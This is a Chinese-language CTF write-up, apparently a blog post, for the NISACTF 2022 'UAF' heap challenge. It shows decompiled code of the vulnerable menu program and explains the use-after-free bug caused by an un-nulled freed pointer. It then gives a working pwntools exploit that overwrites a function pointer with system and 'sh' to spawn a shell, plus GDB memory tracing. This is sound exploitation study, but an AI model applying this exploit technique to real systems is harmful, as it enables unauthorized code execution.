[NISACTF 2022]UAF

跟hacknote一样的做法,但是有所不同。

Checksec & IDA

也是一样的保护机制,直接打开IDA看一眼

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3[4]; // [esp+8h] [ebp-10h] BYREF

  v3[1] = __readgsdword(0x14u);
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  while ( 1 )
  {
    while ( 1 )
    {
      puts("1.create");
      puts("2.edit");
      puts("3.delete");
      puts("4.show");
      putchar(58);
      __isoc99_scanf("%d", v3);
      if ( v3[0] != 2 )
        break;
      edit();
    }
    if ( v3[0] > 2 )
    {
      if ( v3[0] == 3 )
      {
        del();
      }
      else if ( v3[0] == 4 )
      {
        show();
      }
      else
      {
LABEL_13:
        puts("Invalid choice");
      }
    }
    else
    {
      if ( v3[0] != 1 )
        goto LABEL_13;
      create();
    }
  }
}
int create()
{
  int result; // eax
  int v1; // ebx
  char *v2; // eax

  printf("you are creating the %d page\n", i);
  result = i;
  if ( i >= 0 )
  {
    result = i;
    if ( i <= 9 )
    {
      v1 = i;
      (&page)[v1] = (char *)malloc(8u);
      if ( i )
      {
        if ( i <= 0 || i > 9 )
        {
          return puts("NO PAGE");
        }
        else
        {
          puts("Good cretation!");
          return ++i;
        }
      }
      else
      {
        v2 = page;
        *(_DWORD *)page = 1868654951;
        v2[4] = 0;
        *((_DWORD *)page + 1) = echo;
        puts("The init page");
        return ++i;
      }
    }
  }
  return result;
}
unsigned int show()
{
  int v1; // [esp+8h] [ebp-10h] BYREF
  unsigned int v2; // [esp+Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  puts("Input page");
  __isoc99_scanf("%d", &v1);
  if ( v1 )
  {
    if ( v1 <= 0 || v1 > i )
      puts("NO PAGE");
    else
      echo((&page)[v1]);
  }
  else
  {
    (*((void (__cdecl **)(char *))page + 1))(page);
  }
  return __readgsdword(0x14u) ^ v2;
}
unsigned int del()
{
  int v1; // [esp+8h] [ebp-10h] BYREF
  unsigned int v2; // [esp+Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  puts("Input page");
  __isoc99_scanf("%d", &v1);
  if ( v1 < 0 || v1 > i )
    puts("NO PAGE");
  else
    free((&page)[v1]);
  return __readgsdword(0x14u) ^ v2;
}
int __cdecl NICO(char *command)
{
  return system(command);
}

主要的函数有:

main/create/show/del/edit/NICO

其中NICO是后门函数,提供了一个system。

显然是一个菜单程序,我们运行然后gdb调试看看。

发现与hacknote相比,我们不能指定堆的大小,并且无法直接更改堆0的内容。

但是我们可以释放堆0。

可以发现edit函数中的if是<0而不是<= 0。并且del函数中没有置零指针。导致了UAF漏洞。

EXP:

利用思路很简单,我们只需要申请一次堆0,然后删除一次堆0,再申请一次堆,因为系统短时间内不会直接回收堆的内存,所以我们申请到的堆1其实就是堆0,我们只需要往堆1里面写入指向shell函数的指针,即可getshell。

from pwn import *

Locale = 1
if Locale == 1:
    io = process('./NUAF')
else:
    io = remote('1.14.71.254',28674)

elf = ELF('./NSS_Pwn')

context(arch='i386', os='linux', log_level='debug')

system = 0x80484E0


def add_chunk():
    io.recvuntil(b':')
    io.sendline(b'1')


def edit_chunk(index, string):
    io.recvuntil(b':')
    io.sendline(b'2')
    io.recvuntil(b'page\n')
    io.sendline(str(index))
    io.recvuntil(b'strings\n')
    io.sendline(string)


def del_chunk(index):
    io.recvuntil(b':')
    io.sendline(b'3')
    io.recvuntil(b'page\n')
    io.sendline(str(index))


def show_chunk(index):
    io.recvuntil(b':')
    io.sendline(b'4')
    io.recvuntil(b'page\n')
    io.sendline(str(index))


# 先创建一个chunk 0
# 由于edit不能直接编辑chunk0,因为 if ( v1 <= 0 || v1 > i )
# 但是由于系统不会直接回收内存空间,并且free后并没有将指针置0
# create函数创建的chunk是不能自定义的,但是我们只要free后再申请一次,它就会把之前的chunk给我们复用
# 但是由于我们不能直接编辑chunk0,但是chunk0现在被page1所调用,因此我们只需要使用edit写入page1 sh并show_page即可getshell

add_chunk()
del_chunk(0)
add_chunk()
edit_chunk(1, b'sh;\x00' + p32(system))

show_chunk(0)

io.interactive()

使用GDB一步一步追踪内存:

首先申请一个堆。add_chunk()

可以发现程序申请了0x10大小的堆,

堆中存放了echo函数的地址,而echo函数调用了puts函数打印字符串s。

然后释放堆。del_chunk(0)

可以发现程序free了刚才申请的堆,将它暂时存放进了tcache。

再申请一次堆。也就是Page 1 add_chunk()

程序复用了刚才释放的堆,也就是堆0。

但是我们发现堆0中什么都没有储存。

将shell和system送入堆。edit_chunk(1, b'sh;\x00' + p32(system))

可以发现堆中内容再次改变,其中0x80484E0是system的plt表地址,3B6873则是sh与\x00。

如果我们不删除堆0,直接更改堆1的内容为b'sh;\x00' + p32(system),还能getshell吗?

实际上是不行的,虽然会创建第二个堆,并且内容和0一模一样,但是会产生一个死循环,让程序永远卡在重复显示菜单。

我也不是很清楚为什么会这样,但是如果使用了UAF漏洞就不会产生死循环这种问题。

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值